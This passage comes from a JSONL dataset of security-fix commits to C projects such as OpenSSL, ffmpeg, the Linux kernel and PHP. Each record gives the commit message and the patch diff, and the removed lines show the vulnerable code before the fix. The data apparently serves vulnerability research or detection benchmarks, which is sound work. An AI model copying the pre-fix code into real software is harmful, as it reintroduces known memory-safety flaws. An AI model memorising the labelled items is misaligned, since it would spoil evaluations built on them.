(entry.filename_len + 20 > endbuffer - buffer) {\n+\t\tif (entry.filename_len > endbuffer - buffer - 20) {\n \t\t\tMAPPHAR_FAIL(\"internal corruption of phar \\\"%s\\\" (truncated manifest entry)\");\n \t\t}\n ", "related": false}]} +{"owner": "tats", "repo": "w3m", "language": "C", "file_name": "file.c", "commit_id": "33509cc81ec5f2ba44eb6fd98bd5c1b5873e46bd", "commit_message": "Fix uninitialised values for and
\n\nBug-Debian: https://github.com/tats/w3m/issues/16", "patch": "@@ -4686,6 +4686,12 @@ HTMLtagproc1(struct parsed_tag *tag, struct html_feed_environ *h_env)\n case HTML_DD:\n \tCLOSE_A;\n \tCLOSE_DT;\n+\tif (h_env->envc == 0 ||\n+\t (h_env->envc_real < h_env->nenv &&\n+\t envs[h_env->envc].env != HTML_DL &&\n+\t envs[h_env->envc].env != HTML_DL_COMPACT)) {\n+\t PUSH_ENV(HTML_DL);\n+\t}\n \tif (envs[h_env->envc].env == HTML_DL_COMPACT) {\n \t if (obuf->pos > envs[h_env->envc].indent)\n \t\tflushline(h_env, obuf, envs[h_env->envc].indent, 0,", "sections": [{"section": "@@ -4686,6 +4686,12 @@ HTMLtagproc1(struct parsed_tag *tag, struct html_feed_environ *h_env)\n case HTML_DD:\n \tCLOSE_A;\n \tCLOSE_DT;\n+\tif (h_env->envc == 0 ||\n+\t (h_env->envc_real < h_env->nenv &&\n+\t envs[h_env->envc].env != HTML_DL &&\n+\t envs[h_env->envc].env != HTML_DL_COMPACT)) {\n+\t PUSH_ENV(HTML_DL);\n+\t}\n \tif (envs[h_env->envc].env == HTML_DL_COMPACT) {\n \t if (obuf->pos > envs[h_env->envc].indent)\n \t\tflushline(h_env, obuf, envs[h_env->envc].indent, 0,", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "MagickCore/profile.c", "commit_id": "a7bb158b7bedd1449a34432feb3a67c8f1873bfa", "commit_message": "https://github.com/ImageMagick/ImageMagick/issues/280", "patch": "@@ -2032,7 +2032,7 @@ MagickBooleanType SyncExifProfile(Image *image,StringInfo *profile)\n break; /* corrupt EXIF */\n tag_value=(ssize_t) ReadProfileShort(endian,q);\n format=(ssize_t) ReadProfileShort(endian,q+2);\n- if ((format-1) >= EXIF_NUM_FORMATS)\n+ if ((format < 0) || ((format-1) >= EXIF_NUM_FORMATS))\n break;\n components=(ssize_t) ReadProfileLong(endian,q+4);\n if (components < 0)", "sections": [{"section": "@@ -2032,7 +2032,7 @@ MagickBooleanType SyncExifProfile(Image *image,StringInfo *profile)\n break; /* corrupt EXIF */\n tag_value=(ssize_t) ReadProfileShort(endian,q);\n format=(ssize_t) ReadProfileShort(endian,q+2);\n- if ((format-1) >= EXIF_NUM_FORMATS)\n+ if ((format < 0) || ((format-1) >= EXIF_NUM_FORMATS))\n break;\n components=(ssize_t) ReadProfileLong(endian,q+4);\n if (components < 0)", "related": false}]} +{"owner": "php", "repo": "php-src", "language": "C", "file_name": "Zend/zend_hash.c", "commit_id": "4cc0286f2f3780abc6084bcdae5dce595daa3c12", "commit_message": "Fix #73832 - leave the table in a safe state if the size is too big.", "patch": "@@ -175,14 +175,14 @@ ZEND_API void ZEND_FASTCALL _zend_hash_init(HashTable *ht, uint32_t nSize, dtor_\n \tGC_REFCOUNT(ht) = 1;\n \tGC_TYPE_INFO(ht) = IS_ARRAY;\n \tht->u.flags = (persistent ? HASH_FLAG_PERSISTENT : 0) | HASH_FLAG_APPLY_PROTECTION | HASH_FLAG_STATIC_KEYS;\n-\tht->nTableSize = zend_hash_check_size(nSize);\n \tht->nTableMask = HT_MIN_MASK;\n \tHT_SET_DATA_ADDR(ht, &uninitialized_bucket);\n \tht->nNumUsed = 0;\n \tht->nNumOfElements = 0;\n \tht->nInternalPointer = HT_INVALID_IDX;\n \tht->nNextFreeElement = 0;\n \tht->pDestructor = pDestructor;\n+\tht->nTableSize = zend_hash_check_size(nSize);\n }\n \n static void ZEND_FASTCALL zend_hash_packed_grow(HashTable *ht)", "sections": [{"section": "@@ -175,14 +175,14 @@ ZEND_API void ZEND_FASTCALL _zend_hash_init(HashTable *ht, uint32_t nSize, dtor_\n \tGC_REFCOUNT(ht) = 1;\n \tGC_TYPE_INFO(ht) = IS_ARRAY;\n \tht->u.flags = (persistent ? HASH_FLAG_PERSISTENT : 0) | HASH_FLAG_APPLY_PROTECTION | HASH_FLAG_STATIC_KEYS;\n-\tht->nTableSize = zend_hash_check_size(nSize);\n \tht->nTableMask = HT_MIN_MASK;\n \tHT_SET_DATA_ADDR(ht, &uninitialized_bucket);\n \tht->nNumUsed = 0;\n \tht->nNumOfElements = 0;\n \tht->nInternalPointer = HT_INVALID_IDX;\n \tht->nNextFreeElement = 0;\n \tht->pDestructor = pDestructor;\n+\tht->nTableSize = zend_hash_check_size(nSize);\n }\n \n static void ZEND_FASTCALL zend_hash_packed_grow(HashTable *ht)", "related": false}]} +{"owner": "openbsd", "repo": "src", "language": "C", "file_name": "usr.bin/ssh/opacket.h", "commit_id": "3095060f479b86288e31c79ecbc5131a66bcd2f9", "commit_message": "Remove support for pre-authentication compression. Doing compression\nearly in the protocol probably seemed reasonable in the 1990s, but\ntoday it's clearly a bad idea in terms of both cryptography (cf.\nmultiple compression oracle attacks in TLS) and attack surface.\n\nMoreover, to support it across privilege-separation zlib needed\nthe assistance of a complex shared-memory manager that made the\nrequired attack surface considerably larger.\n\nPrompted by Guido Vranken pointing out a compiler-elided security\ncheck in the shared memory manager found by Stack\n(http://css.csail.mit.edu/stack/); ok deraadt@ markus@\n\nNB. pre-auth authentication has been disabled by default in sshd\nfor >10 years.", "patch": "@@ -132,9 +132,6 @@ void\t packet_read_expect(int expected_type);\n \tssh_packet_get_input(active_state)\n #define packet_get_output() \\\n \tssh_packet_get_output(active_state)\n-#define packet_set_compress_hooks(ctx, allocfunc, freefunc) \\\n-\tssh_packet_set_compress_hooks(active_state, ctx, \\\n-\t allocfunc, freefunc);\n #define packet_check_eom() \\\n \tssh_packet_check_eom(active_state)\n #define set_newkeys(mode) \\", "sections": [{"section": "@@ -132,9 +132,6 @@ void\t packet_read_expect(int expected_type);\n \tssh_packet_get_input(active_state)\n #define packet_get_output() \\\n \tssh_packet_get_output(active_state)\n-#define packet_set_compress_hooks(ctx, allocfunc, freefunc) \\\n-\tssh_packet_set_compress_hooks(active_state, ctx, \\\n-\t allocfunc, freefunc);\n #define packet_check_eom() \\\n \tssh_packet_check_eom(active_state)\n #define set_newkeys(mode) \\", "related": false}]} +{"owner": "php", "repo": "php-src", "language": "C", "file_name": "ext/pdo/pdo_stmt.c", "commit_id": "6045de69c7dedcba3eadf7c4bba424b19c81d00d", "commit_message": "Fix bug #73331 - do not try to serialize/unserialize objects wddx can not handle\n\nProper soltion would be to call serialize/unserialize and deal with the result,\nbut this requires more work that should be done by wddx maintainer (not me).", "patch": "@@ -2338,6 +2338,7 @@ void pdo_stmt_init(TSRMLS_D)\n \tpdo_row_ce->ce_flags |= ZEND_ACC_FINAL_CLASS; /* when removing this a lot of handlers need to be redone */\n \tpdo_row_ce->create_object = pdo_row_new;\n \tpdo_row_ce->serialize = pdo_row_serialize;\n+\tpdo_row_ce->unserialize = zend_class_unserialize_deny;\n }\n \n static void free_statement(pdo_stmt_t *stmt TSRMLS_DC)", "sections": [{"section": "@@ -2338,6 +2338,7 @@ void pdo_stmt_init(TSRMLS_D)\n \tpdo_row_ce->ce_flags |= ZEND_ACC_FINAL_CLASS; /* when removing this a lot of handlers need to be redone */\n \tpdo_row_ce->create_object = pdo_row_new;\n \tpdo_row_ce->serialize = pdo_row_serialize;\n+\tpdo_row_ce->unserialize = zend_class_unserialize_deny;\n }\n \n static void free_statement(pdo_stmt_t *stmt TSRMLS_DC)", "related": false}]} +{"owner": "verdammelt", "repo": "tnef", "language": "C", "file_name": "src/tnef.c", "commit_id": "8dccf79857ceeb7a6d3e42c1e762e7b865d5344d", "commit_message": "Check types to avoid invalid reads/writes.", "patch": "@@ -165,10 +165,12 @@ get_html_data (MAPI_Attr *a)\n int j;\n for (j = 0; j < a->num_values; j++)\n {\n-\tbody[j] = XMALLOC(VarLenData, 1);\n-\tbody[j]->len = a->values[j].len;\n-\tbody[j]->data = CHECKED_XCALLOC(unsigned char, a->values[j].len);\n-\tmemmove (body[j]->data, a->values[j].data.buf, body[j]->len);\n+ if (a->type == szMAPI_BINARY) {\n+ \t body[j] = XMALLOC(VarLenData, 1);\n+\t body[j]->len = a->values[j].len;\n+\t body[j]->data = CHECKED_XCALLOC(unsigned char, a->values[j].len);\n+\t memmove (body[j]->data, a->values[j].data.buf, body[j]->len);\n+ }\n }\n return body;\n }\n@@ -306,13 +308,13 @@ parse_file (FILE* input_file, char* directory,\n \t\t for (i = 0; mapi_attrs[i]; i++)\n \t\t {\n \t\t\tMAPI_Attr *a = mapi_attrs[i];\n-\t\t\t \n-\t\t\tif (a->name == MAPI_BODY_HTML)\n+\t\t\n+\t\t\tif (a->type == szMAPI_BINARY && a->name == MAPI_BODY_HTML)\n \t\t\t{\n \t\t\t body.html_bodies = get_html_data (a);\n html_size = a->num_values;\n \t\t\t}\n-\t\t\telse if (a->name == MAPI_RTF_COMPRESSED)\n+\t\t\telse if (a->type == szMAPI_BINARY && a->name == MAPI_RTF_COMPRESSED)\n \t\t\t{\n \t\t\t body.rtf_bodies = get_rtf_data (a);\n rtf_size = a->num_values;", "sections": [{"section": "@@ -165,10 +165,12 @@ get_html_data (MAPI_Attr *a)\n int j;\n for (j = 0; j < a->num_values; j++)\n {\n-\tbody[j] = XMALLOC(VarLenData, 1);\n-\tbody[j]->len = a->values[j].len;\n-\tbody[j]->data = CHECKED_XCALLOC(unsigned char, a->values[j].len);\n-\tmemmove (body[j]->data, a->values[j].data.buf, body[j]->len);\n+ if (a->type == szMAPI_BINARY) {\n+ \t body[j] = XMALLOC(VarLenData, 1);\n+\t body[j]->len = a->values[j].len;\n+\t body[j]->data = CHECKED_XCALLOC(unsigned char, a->values[j].len);\n+\t memmove (body[j]->data, a->values[j].data.buf, body[j]->len);\n+ }\n }\n return body;\n }\n", "related": false}, {"section": "@@ -306,13 +308,13 @@ parse_file (FILE* input_file, char* directory,\n \t\t for (i = 0; mapi_attrs[i]; i++)\n \t\t {\n \t\t\tMAPI_Attr *a = mapi_attrs[i];\n-\t\t\t \n-\t\t\tif (a->name == MAPI_BODY_HTML)\n+\t\t\n+\t\t\tif (a->type == szMAPI_BINARY && a->name == MAPI_BODY_HTML)\n \t\t\t{\n \t\t\t body.html_bodies = get_html_data (a);\n html_size = a->num_values;\n \t\t\t}\n-\t\t\telse if (a->name == MAPI_RTF_COMPRESSED)\n+\t\t\telse if (a->type == szMAPI_BINARY && a->name == MAPI_RTF_COMPRESSED)\n \t\t\t{\n \t\t\t body.rtf_bodies = get_rtf_data (a);\n rtf_size = a->num_values;", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/infiniband/sw/rxe/rxe_mr.c", "commit_id": "647bf3d8a8e5777319da92af672289b2a6c4dc66", "commit_message": "IB/rxe: Fix mem_check_range integer overflow\n\nUpdate the range check to avoid integer-overflow in edge case.\nResolves CVE 2016-8636.\n\nSigned-off-by: Eyal Itkin \nSigned-off-by: Dan Carpenter \nReviewed-by: Leon Romanovsky \nSigned-off-by: Doug Ledford ", "patch": "@@ -59,9 +59,11 @@ int mem_check_range(struct rxe_mem *mem, u64 iova, size_t length)\n \n \tcase RXE_MEM_TYPE_MR:\n \tcase RXE_MEM_TYPE_FMR:\n-\t\treturn ((iova < mem->iova) ||\n-\t\t\t((iova + length) > (mem->iova + mem->length))) ?\n-\t\t\t-EFAULT : 0;\n+\t\tif (iova < mem->iova ||\n+\t\t length > mem->length ||\n+\t\t iova > mem->iova + mem->length - length)\n+\t\t\treturn -EFAULT;\n+\t\treturn 0;\n \n \tdefault:\n \t\treturn -EFAULT;", "sections": [{"section": "@@ -59,9 +59,11 @@ int mem_check_range(struct rxe_mem *mem, u64 iova, size_t length)\n \n \tcase RXE_MEM_TYPE_MR:\n \tcase RXE_MEM_TYPE_FMR:\n-\t\treturn ((iova < mem->iova) ||\n-\t\t\t((iova + length) > (mem->iova + mem->length))) ?\n-\t\t\t-EFAULT : 0;\n+\t\tif (iova < mem->iova ||\n+\t\t length > mem->length ||\n+\t\t iova > mem->iova + mem->length - length)\n+\t\t\treturn -EFAULT;\n+\t\treturn 0;\n \n \tdefault:\n \t\treturn -EFAULT;", "related": false}]} +{"owner": "openssl", "repo": "openssl", "language": "C", "file_name": "ssl/t1_lib.c", "commit_id": "4ad93618d26a3ea23d36ad5498ff4f59eff3a4d2", "commit_message": "Don't change the state of the ETM flags until CCS processing\n\nChanging the ciphersuite during a renegotiation can result in a crash\nleading to a DoS attack. ETM has not been implemented in 1.1.0 for DTLS\nso this is TLS only.\n\nThe problem is caused by changing the flag indicating whether to use ETM\nor not immediately on negotiation of ETM, rather than at CCS. Therefore,\nduring a renegotiation, if the ETM state is changing (usually due to a\nchange of ciphersuite), then an error/crash will occur.\n\nDue to the fact that there are separate CCS messages for read and write\nwe actually now need two flags to determine whether to use ETM or not.\n\nCVE-2017-3733\n\nReviewed-by: Richard Levitte ", "patch": "@@ -1674,7 +1674,7 @@ unsigned char *ssl_add_serverhello_tlsext(SSL *s, unsigned char *buf,\n #endif\n if (!custom_ext_add(s, 1, &ret, limit, al))\n return NULL;\n- if (s->s3->flags & TLS1_FLAGS_ENCRYPT_THEN_MAC) {\n+ if (s->tlsext_use_etm) {\n /*\n * Don't use encrypt_then_mac if AEAD or RC4 might want to disable\n * for other cases too.\n@@ -1683,7 +1683,7 @@ unsigned char *ssl_add_serverhello_tlsext(SSL *s, unsigned char *buf,\n || s->s3->tmp.new_cipher->algorithm_enc == SSL_RC4\n || s->s3->tmp.new_cipher->algorithm_enc == SSL_eGOST2814789CNT\n || s->s3->tmp.new_cipher->algorithm_enc == SSL_eGOST2814789CNT12)\n- s->s3->flags &= ~TLS1_FLAGS_ENCRYPT_THEN_MAC;\n+ s->tlsext_use_etm = 0;\n else {\n /*-\n * check for enough space.\n@@ -1916,7 +1916,7 @@ static int ssl_scan_clienthello_tlsext(SSL *s, PACKET *pkt, int *al)\n /* Clear any signature algorithms extension received */\n OPENSSL_free(s->s3->tmp.peer_sigalgs);\n s->s3->tmp.peer_sigalgs = NULL;\n- s->s3->flags &= ~TLS1_FLAGS_ENCRYPT_THEN_MAC;\n+ s->tlsext_use_etm = 0;\n \n #ifndef OPENSSL_NO_SRP\n OPENSSL_free(s->srp_ctx.login);\n@@ -2264,7 +2264,7 @@ static int ssl_scan_clienthello_tlsext(SSL *s, PACKET *pkt, int *al)\n }\n #endif\n else if (type == TLSEXT_TYPE_encrypt_then_mac)\n- s->s3->flags |= TLS1_FLAGS_ENCRYPT_THEN_MAC;\n+ s->tlsext_use_etm = 1;\n /*\n * Note: extended master secret extension handled in\n * tls_check_serverhello_tlsext_early()\n@@ -2366,7 +2366,7 @@ static int ssl_scan_serverhello_tlsext(SSL *s, PACKET *pkt, int *al)\n SSL_DTLSEXT_HB_DONT_SEND_REQUESTS);\n #endif\n \n- s->s3->flags &= ~TLS1_FLAGS_ENCRYPT_THEN_MAC;\n+ s->tlsext_use_etm = 0;\n \n s->s3->flags &= ~TLS1_FLAGS_RECEIVED_EXTMS;\n \n@@ -2585,7 +2585,7 @@ static int ssl_scan_serverhello_tlsext(SSL *s, PACKET *pkt, int *al)\n /* Ignore if inappropriate ciphersuite */\n if (s->s3->tmp.new_cipher->algorithm_mac != SSL_AEAD\n && s->s3->tmp.new_cipher->algorithm_enc != SSL_RC4)\n- s->s3->flags |= TLS1_FLAGS_ENCRYPT_THEN_MAC;\n+ s->tlsext_use_etm = 1;\n } else if (type == TLSEXT_TYPE_extended_master_secret) {\n s->s3->flags |= TLS1_FLAGS_RECEIVED_EXTMS;\n if (!s->hit)", "sections": [{"section": "@@ -1674,7 +1674,7 @@ unsigned char *ssl_add_serverhello_tlsext(SSL *s, unsigned char *buf,\n #endif\n if (!custom_ext_add(s, 1, &ret, limit, al))\n return NULL;\n- if (s->s3->flags & TLS1_FLAGS_ENCRYPT_THEN_MAC) {\n+ if (s->tlsext_use_etm) {\n /*\n * Don't use encrypt_then_mac if AEAD or RC4 might want to disable\n * for other cases too.\n", "related": true}, {"section": "@@ -1683,7 +1683,7 @@ unsigned char *ssl_add_serverhello_tlsext(SSL *s, unsigned char *buf,\n || s->s3->tmp.new_cipher->algorithm_enc == SSL_RC4\n || s->s3->tmp.new_cipher->algorithm_enc == SSL_eGOST2814789CNT\n || s->s3->tmp.new_cipher->algorithm_enc == SSL_eGOST2814789CNT12)\n- s->s3->flags &= ~TLS1_FLAGS_ENCRYPT_THEN_MAC;\n+ s->tlsext_use_etm = 0;\n else {\n /*-\n * check for enough space.\n", "related": true}, {"section": "@@ -1916,7 +1916,7 @@ static int ssl_scan_clienthello_tlsext(SSL *s, PACKET *pkt, int *al)\n /* Clear any signature algorithms extension received */\n OPENSSL_free(s->s3->tmp.peer_sigalgs);\n s->s3->tmp.peer_sigalgs = NULL;\n- s->s3->flags &= ~TLS1_FLAGS_ENCRYPT_THEN_MAC;\n+ s->tlsext_use_etm = 0;\n \n #ifndef OPENSSL_NO_SRP\n OPENSSL_free(s->srp_ctx.login);\n", "related": true}, {"section": "@@ -2264,7 +2264,7 @@ static int ssl_scan_clienthello_tlsext(SSL *s, PACKET *pkt, int *al)\n }\n #endif\n else if (type == TLSEXT_TYPE_encrypt_then_mac)\n- s->s3->flags |= TLS1_FLAGS_ENCRYPT_THEN_MAC;\n+ s->tlsext_use_etm = 1;\n /*\n * Note: extended master secret extension handled in\n * tls_check_serverhello_tlsext_early()\n", "related": true}, {"section": "@@ -2366,7 +2366,7 @@ static int ssl_scan_serverhello_tlsext(SSL *s, PACKET *pkt, int *al)\n SSL_DTLSEXT_HB_DONT_SEND_REQUESTS);\n #endif\n \n- s->s3->flags &= ~TLS1_FLAGS_ENCRYPT_THEN_MAC;\n+ s->tlsext_use_etm = 0;\n \n s->s3->flags &= ~TLS1_FLAGS_RECEIVED_EXTMS;\n \n", "related": true}, {"section": "@@ -2585,7 +2585,7 @@ static int ssl_scan_serverhello_tlsext(SSL *s, PACKET *pkt, int *al)\n /* Ignore if inappropriate ciphersuite */\n if (s->s3->tmp.new_cipher->algorithm_mac != SSL_AEAD\n && s->s3->tmp.new_cipher->algorithm_enc != SSL_RC4)\n- s->s3->flags |= TLS1_FLAGS_ENCRYPT_THEN_MAC;\n+ s->tlsext_use_etm = 1;\n } else if (type == TLSEXT_TYPE_extended_master_secret) {\n s->s3->flags |= TLS1_FLAGS_RECEIVED_EXTMS;\n if (!s->hit)", "related": true}]} +{"owner": "vim", "repo": "vim", "language": "C", "file_name": "src/version.c", "commit_id": "399c297aa93afe2c0a39e2a1b3f972aebba44c9d", "commit_message": "patch 8.0.0322: possible overflow with corrupted spell file\n\nProblem: Possible overflow with spell file where the tree length is\n corrupted.\nSolution: Check for an invalid length (suggested by shqking)", "patch": "@@ -764,6 +764,8 @@ static char *(features[]) =\n \n static int included_patches[] =\n { /* Add new patch number below this line */\n+/**/\n+ 322,\n /**/\n 321,\n /**/", "sections": [{"section": "@@ -764,6 +764,8 @@ static char *(features[]) =\n \n static int included_patches[] =\n { /* Add new patch number below this line */\n+/**/\n+ 322,\n /**/\n 321,\n /**/", "related": false}]} +{"owner": "ffmpeg", "repo": "ffmpeg", "language": "C", "file_name": "libavformat/http.c", "commit_id": "2a05c8f813de6f2278827734bf8102291e7484aa", "commit_message": "http: make length/offset-related variables unsigned.\n\nFixes #5992, reported and found by Paul Cher .", "patch": "@@ -62,8 +62,8 @@ typedef struct HTTPContext {\n int line_count;\n int http_code;\n /* Used if \"Transfer-Encoding: chunked\" otherwise -1. */\n- int64_t chunksize;\n- int64_t off, end_off, filesize;\n+ uint64_t chunksize;\n+ uint64_t off, end_off, filesize;\n char *location;\n HTTPAuthState auth_state;\n HTTPAuthState proxy_auth_state;\n@@ -95,9 +95,9 @@ typedef struct HTTPContext {\n AVDictionary *cookie_dict;\n int icy;\n /* how much data was read since the last ICY metadata packet */\n- int icy_data_read;\n+ uint64_t icy_data_read;\n /* after how many bytes of read data a new metadata packet will be found */\n- int icy_metaint;\n+ uint64_t icy_metaint;\n char *icy_metadata_headers;\n char *icy_metadata_packet;\n AVDictionary *metadata;\n@@ -489,7 +489,7 @@ static int http_open(URLContext *h, const char *uri, int flags,\n else\n h->is_streamed = 1;\n \n- s->filesize = -1;\n+ s->filesize = UINT64_MAX;\n s->location = av_strdup(uri);\n if (!s->location)\n return AVERROR(ENOMEM);\n@@ -616,9 +616,9 @@ static void parse_content_range(URLContext *h, const char *p)\n \n if (!strncmp(p, \"bytes \", 6)) {\n p += 6;\n- s->off = strtoll(p, NULL, 10);\n+ s->off = strtoull(p, NULL, 10);\n if ((slash = strchr(p, '/')) && strlen(slash) > 0)\n- s->filesize = strtoll(slash + 1, NULL, 10);\n+ s->filesize = strtoull(slash + 1, NULL, 10);\n }\n if (s->seekable == -1 && (!s->is_akamai || s->filesize != 2147483647))\n h->is_streamed = 0; /* we _can_ in fact seek */\n@@ -808,8 +808,9 @@ static int process_line(URLContext *h, char *line, int line_count,\n if ((ret = parse_location(s, p)) < 0)\n return ret;\n *new_location = 1;\n- } else if (!av_strcasecmp(tag, \"Content-Length\") && s->filesize == -1) {\n- s->filesize = strtoll(p, NULL, 10);\n+ } else if (!av_strcasecmp(tag, \"Content-Length\") &&\n+ s->filesize == UINT64_MAX) {\n+ s->filesize = strtoull(p, NULL, 10);\n } else if (!av_strcasecmp(tag, \"Content-Range\")) {\n parse_content_range(h, p);\n } else if (!av_strcasecmp(tag, \"Accept-Ranges\") &&\n@@ -818,7 +819,7 @@ static int process_line(URLContext *h, char *line, int line_count,\n h->is_streamed = 0;\n } else if (!av_strcasecmp(tag, \"Transfer-Encoding\") &&\n !av_strncasecmp(p, \"chunked\", 7)) {\n- s->filesize = -1;\n+ s->filesize = UINT64_MAX;\n s->chunksize = 0;\n } else if (!av_strcasecmp(tag, \"WWW-Authenticate\")) {\n ff_http_auth_handle_header(&s->auth_state, tag, p);\n@@ -842,7 +843,7 @@ static int process_line(URLContext *h, char *line, int line_count,\n if (parse_cookie(s, p, &s->cookie_dict))\n av_log(h, AV_LOG_WARNING, \"Unable to parse '%s'\\n\", p);\n } else if (!av_strcasecmp(tag, \"Icy-MetaInt\")) {\n- s->icy_metaint = strtoll(p, NULL, 10);\n+ s->icy_metaint = strtoull(p, NULL, 10);\n } else if (!av_strncasecmp(tag, \"Icy-\", 4)) {\n if ((ret = parse_icy(s, tag, p)) < 0)\n return ret;\n@@ -972,7 +973,7 @@ static int http_read_header(URLContext *h, int *new_location)\n char line[MAX_URL_SIZE];\n int err = 0;\n \n- s->chunksize = -1;\n+ s->chunksize = UINT64_MAX;\n \n for (;;) {\n if ((err = http_get_line(s, line, sizeof(line))) < 0)\n@@ -1006,7 +1007,7 @@ static int http_connect(URLContext *h, const char *path, const char *local_path,\n int post, err;\n char headers[HTTP_HEADERS_SIZE] = \"\";\n char *authstr = NULL, *proxyauthstr = NULL;\n- int64_t off = s->off;\n+ uint64_t off = s->off;\n int len = 0;\n const char *method;\n int send_expect_100 = 0;\n@@ -1060,7 +1061,7 @@ static int http_connect(URLContext *h, const char *path, const char *local_path,\n // server supports seeking by analysing the reply headers.\n if (!has_header(s->headers, \"\\r\\nRange: \") && !post && (s->off > 0 || s->end_off || s->seekable == -1)) {\n len += av_strlcatf(headers + len, sizeof(headers) - len,\n- \"Range: bytes=%\"PRId64\"-\", s->off);\n+ \"Range: bytes=%\"PRIu64\"-\", s->off);\n if (s->end_off)\n len += av_strlcatf(headers + len, sizeof(headers) - len,\n \"%\"PRId64, s->end_off - 1);\n@@ -1135,7 +1136,7 @@ static int http_connect(URLContext *h, const char *path, const char *local_path,\n s->line_count = 0;\n s->off = 0;\n s->icy_data_read = 0;\n- s->filesize = -1;\n+ s->filesize = UINT64_MAX;\n s->willclose = 0;\n s->end_chunked_post = 0;\n s->end_header = 0;\n@@ -1175,15 +1176,13 @@ static int http_buf_read(URLContext *h, uint8_t *buf, int size)\n memcpy(buf, s->buf_ptr, len);\n s->buf_ptr += len;\n } else {\n- int64_t target_end = s->end_off ? s->end_off : s->filesize;\n- if ((!s->willclose || s->chunksize < 0) &&\n- target_end >= 0 && s->off >= target_end)\n+ uint64_t target_end = s->end_off ? s->end_off : s->filesize;\n+ if ((!s->willclose || s->chunksize == UINT64_MAX) && s->off >= target_end)\n return AVERROR_EOF;\n len = ffurl_read(s->hd, buf, size);\n- if (!len && (!s->willclose || s->chunksize < 0) &&\n- target_end >= 0 && s->off < target_end) {\n+ if (!len && (!s->willclose || s->chunksize == UINT64_MAX) && s->off < target_end) {\n av_log(h, AV_LOG_ERROR,\n- \"Stream ends prematurely at %\"PRId64\", should be %\"PRId64\"\\n\",\n+ \"Stream ends prematurely at %\"PRIu64\", should be %\"PRIu64\"\\n\",\n s->off, target_end\n );\n return AVERROR(EIO);\n@@ -1247,7 +1246,7 @@ static int http_read_stream(URLContext *h, uint8_t *buf, int size)\n return err;\n }\n \n- if (s->chunksize >= 0) {\n+ if (s->chunksize != UINT64_MAX) {\n if (!s->chunksize) {\n char line[32];\n \n@@ -1256,13 +1255,19 @@ static int http_read_stream(URLContext *h, uint8_t *buf, int size)\n return err;\n } while (!*line); /* skip CR LF from last chunk */\n \n- s->chunksize = strtoll(line, NULL, 16);\n+ s->chunksize = strtoull(line, NULL, 16);\n \n- av_log(NULL, AV_LOG_TRACE, \"Chunked encoding data size: %\"PRId64\"'\\n\",\n+ av_log(h, AV_LOG_TRACE,\n+ \"Chunked encoding data size: %\"PRIu64\"'\\n\",\n s->chunksize);\n \n if (!s->chunksize)\n return 0;\n+ else if (s->chunksize == UINT64_MAX) {\n+ av_log(h, AV_LOG_ERROR, \"Invalid chunk size %\"PRIu64\"\\n\",\n+ s->chunksize);\n+ return AVERROR(EINVAL);\n+ }\n }\n size = FFMIN(size, s->chunksize);\n }\n@@ -1273,17 +1278,17 @@ static int http_read_stream(URLContext *h, uint8_t *buf, int size)\n read_ret = http_buf_read(h, buf, size);\n if ( (read_ret < 0 && s->reconnect && (!h->is_streamed || s->reconnect_streamed) && s->filesize > 0 && s->off < s->filesize)\n || (read_ret == 0 && s->reconnect_at_eof && (!h->is_streamed || s->reconnect_streamed))) {\n- int64_t target = h->is_streamed ? 0 : s->off;\n+ uint64_t target = h->is_streamed ? 0 : s->off;\n \n if (s->reconnect_delay > s->reconnect_delay_max)\n return AVERROR(EIO);\n \n- av_log(h, AV_LOG_INFO, \"Will reconnect at %\"PRId64\" error=%s.\\n\", s->off, av_err2str(read_ret));\n+ av_log(h, AV_LOG_INFO, \"Will reconnect at %\"PRIu64\" error=%s.\\n\", s->off, av_err2str(read_ret));\n av_usleep(1000U*1000*s->reconnect_delay);\n s->reconnect_delay = 1 + 2*s->reconnect_delay;\n seek_ret = http_seek_internal(h, target, SEEK_SET, 1);\n if (seek_ret != target) {\n- av_log(h, AV_LOG_ERROR, \"Failed to reconnect at %\"PRId64\".\\n\", target);\n+ av_log(h, AV_LOG_ERROR, \"Failed to reconnect at %\"PRIu64\".\\n\", target);\n return read_ret;\n }\n \n@@ -1338,10 +1343,11 @@ static int store_icy(URLContext *h, int size)\n {\n HTTPContext *s = h->priv_data;\n /* until next metadata packet */\n- int remaining = s->icy_metaint - s->icy_data_read;\n+ uint64_t remaining;\n \n- if (remaining < 0)\n+ if (s->icy_metaint < s->icy_data_read)\n return AVERROR_INVALIDDATA;\n+ remaining = s->icy_metaint - s->icy_data_read;\n \n if (!remaining) {\n /* The metadata packet is variable sized. It has a 1 byte header\n@@ -1455,7 +1461,7 @@ static int64_t http_seek_internal(URLContext *h, int64_t off, int whence, int fo\n {\n HTTPContext *s = h->priv_data;\n URLContext *old_hd = s->hd;\n- int64_t old_off = s->off;\n+ uint64_t old_off = s->off;\n uint8_t old_buf[BUFFER_SIZE];\n int old_buf_size, ret;\n AVDictionary *options = NULL;\n@@ -1466,7 +1472,7 @@ static int64_t http_seek_internal(URLContext *h, int64_t off, int whence, int fo\n ((whence == SEEK_CUR && off == 0) ||\n (whence == SEEK_SET && off == s->off)))\n return s->off;\n- else if ((s->filesize == -1 && whence == SEEK_END))\n+ else if ((s->filesize == UINT64_MAX && whence == SEEK_END))\n return AVERROR(ENOSYS);\n \n if (whence == SEEK_CUR)\n@@ -1621,7 +1627,7 @@ static int http_proxy_open(URLContext *h, const char *uri, int flags)\n s->buf_ptr = s->buffer;\n s->buf_end = s->buffer;\n s->line_count = 0;\n- s->filesize = -1;\n+ s->filesize = UINT64_MAX;\n cur_auth_type = s->proxy_auth_state.auth_type;\n \n /* Note: This uses buffering, potentially reading more than the", "sections": [{"section": "@@ -62,8 +62,8 @@ typedef struct HTTPContext {\n int line_count;\n int http_code;\n /* Used if \"Transfer-Encoding: chunked\" otherwise -1. */\n- int64_t chunksize;\n- int64_t off, end_off, filesize;\n+ uint64_t chunksize;\n+ uint64_t off, end_off, filesize;\n char *location;\n HTTPAuthState auth_state;\n HTTPAuthState proxy_auth_state;\n", "related": false}, {"section": "@@ -95,9 +95,9 @@ typedef struct HTTPContext {\n AVDictionary *cookie_dict;\n int icy;\n /* how much data was read since the last ICY metadata packet */\n- int icy_data_read;\n+ uint64_t icy_data_read;\n /* after how many bytes of read data a new metadata packet will be found */\n- int icy_metaint;\n+ uint64_t icy_metaint;\n char *icy_metadata_headers;\n char *icy_metadata_packet;\n AVDictionary *metadata;\n", "related": false}, {"section": "@@ -489,7 +489,7 @@ static int http_open(URLContext *h, const char *uri, int 